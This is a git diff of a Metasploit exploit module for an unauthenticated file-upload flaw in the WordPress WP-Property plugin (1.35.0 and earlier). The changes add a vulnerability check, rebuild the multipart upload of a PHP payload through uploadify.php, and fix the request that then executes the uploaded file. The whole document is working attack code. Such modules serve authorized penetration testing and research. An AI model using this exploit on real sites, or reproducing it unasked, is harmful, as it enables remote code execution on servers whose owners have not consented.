2
2
require 'msf/core/exploit/php_exe'
3
3
4
4
class Metasploit3 < Msf ::Exploit ::Remote
5
- Rank = GreatRanking
5
+ Rank = ExcellentRanking
6
6
7
7
include Msf ::Exploit ::Remote ::HttpClient
8
8
include Msf ::Exploit ::PhpEXE
@@ -11,86 +11,95 @@ def initialize(info = {})
11
11
super ( update_info ( info ,
12
12
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability' ,
13
13
'Description' => %q{
14
- This module exploits a vulnerability found in WP-Property <= 1.35.0
15
- WordPress plugin. By abusing the uploadify.php file, a malicious
16
- user can upload a file to a temp directory without authentication,
17
- which results in arbitrary code execution.
14
+ This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
15
+ plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
16
+ temp directory without authentication, which results in arbitrary code execution.
18
17
} ,
19
- 'Author' => [
20
- 'Sammy FORGIT' , # initial discovery
21
- 'James Fitts' # metasploit module
22
- ] ,
18
+ 'Author' =>
19
+ [
20
+ 'Sammy FORGIT' , # initial discovery
21
+ 'James Fitts' # metasploit module
22
+ ] ,
23
23
'License' => MSF_LICENSE ,
24
- 'Version' => '$Revision: $' ,
25
24
'References' =>
26
25
[
27
26
[ 'OSVDB' , '82656' ] ,
27
+ [ 'BID' , '53787' ] ,
28
+ [ 'EDB' , '18987' ] ,
29
+ [ 'URL' , 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
28
30
] ,
29
- 'Payload' =>
31
+ 'Payload' =>
30
32
{
31
33
'BadChars' => "\x00 " ,
32
34
} ,
33
35
'Platform' => 'php' ,
34
- 'Arch' => ARCH_PHP ,
36
+ 'Arch' => ARCH_PHP ,
35
37
'Targets' =>
36
38
[
37
39
[ 'Generic (PHP Payload)' , { 'Arch' => ARCH_PHP , 'Platform' => 'php' } ] ,
38
- [ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
40
+ [ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
39
41
] ,
40
- 'DefaultTarget' => 0 ,
42
+ 'DefaultTarget' => 0 ,
41
43
'DisclosureDate' => 'Mar 26 2012' ) )
42
44
43
45
register_options (
44
46
[
45
- OptString . new ( 'TARGETURI' , [ true , 'The base path to WP-Property ' , '/wordpress/wp-content ' ] )
47
+ OptString . new ( 'TARGETURI' , [ true , 'The full URI path to WordPress ' , '/wordpress' ] )
46
48
] , self . class )
47
49
end
48
50
51
+ def check
52
+ uri = target_uri . path
53
+ uri << '/' if uri [ -1 , 1 ] != '/'
54
+
55
+ res = send_request_cgi ( {
56
+ 'method' => 'GET' ,
57
+ 'uri' => "#{ uri } wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
58
+ } )
59
+
60
+ if not res or res . code != 200
61
+ return Exploit ::CheckCode ::Unknown
62
+ end
63
+
64
+ return Exploit ::CheckCode ::Appears
65
+ end
66
+
49
67
def exploit
50
68
uri = target_uri . path
51
69
uri << '/' if uri [ -1 , 1 ] != '/'
52
70
53
71
peer = "#{ rhost } :#{ rport } "
54
- uid = rand_text_alphanumeric ( 34 ) . to_s
55
72
56
73
@payload_name = "#{ rand_text_alpha ( 5 ) } .php"
74
+ php_payload = get_write_exec_payload ( :unlink_self => true )
75
+
76
+ data = Rex ::MIME ::Message . new
77
+ data . add_part ( php_payload , "application/octet-stream" , nil , "form-data; name=\" Filedata\" ; filename=\" #{ @payload_name } \" " )
78
+ data . add_part ( "#{ uri } wp-content/plugins/wp-property/third-party/uploadify/" , nil , nil , "form-data; name=\" folder\" " )
79
+ post_data = data . to_s . gsub ( /^\r \n \- \- \_ Part\_ / , '--_Part_' )
57
80
58
- post_data = "--#{ uid } \r \n "
59
- post_data << "Content-Disposition: form-data; name=\" Filedata\" ; filename=\" #{ @payload_name } \" \r \n "
60
- post_data << "Content-Type: application/octet-stream\r \n "
61
- post_data << "\r \n "
62
- post_data << payload . raw + "\r \n "
63
- post_data << "\r \n "
64
- post_data << "--#{ uid } \r \n "
65
- post_data << "Content-Disposition: form-data; name=\" folder\" \r \n "
66
- post_data << "\r \n "
67
- post_data << "#{ uri } plugins/wp-property/third-party/uploadify/\r \n "
68
- post_data << "--#{ uid } --\r \n "
69
-
70
- print_status ( "Uploading payload #{ @payload_name } to #{ peer } ..." )
81
+ print_status ( "#{ peer } - Uploading payload #{ @payload_name } " )
71
82
res = send_request_cgi ( {
72
83
'method' => 'POST' ,
73
- 'uri' => "#{ uri } plugins/wp-property/third-party/uploadify/uploadify.php" ,
74
- 'ctype' => "multipart/form-data; boundary=#{ uid } " ,
84
+ 'uri' => "#{ uri } wp-content/ plugins/wp-property/third-party/uploadify/uploadify.php" ,
85
+ 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
75
86
'data' => post_data
76
87
} )
77
88
78
- if res
79
- print_status ( "#{ peer } responds with status: #{ res . code . to_s } " )
80
- else
81
- print_error ( "#{ peer } not responding to our requests..." )
82
- return
89
+ if not res or res . code != 200 or res . body !~ /#{ @payload_name } /
90
+ fail_with ( Exploit ::Failure ::UnexpectedReply , "#{ peer } - Upload failed" )
83
91
end
84
92
85
- print_status ( "Executing payload #{ @payload_name } on the target..." )
93
+ upload_uri = res . body
94
+
95
+ print_status ( "#{ peer } - Executing payload #{ @payload_name } " )
86
96
res = send_request_raw ( {
87
- 'uri' => " #{ uri } plugins/wp-property/third-party/uploadify/ #{ @payload_name } " ,
97
+ 'uri' => upload_uri ,
88
98
'method' => 'GET'
89
99
} )
90
100
91
- if res and res . code == 404
92
- print_error ( "Target responding with a 404... Upload probably failed..." )
93
- return
101
+ if not res or res . code != 200
102
+ fail_with ( Exploit ::Failure ::UnexpectedReply , "#{ peer } - Execution" )
94
103
end
95
104
end
96
105
end
0 commit comments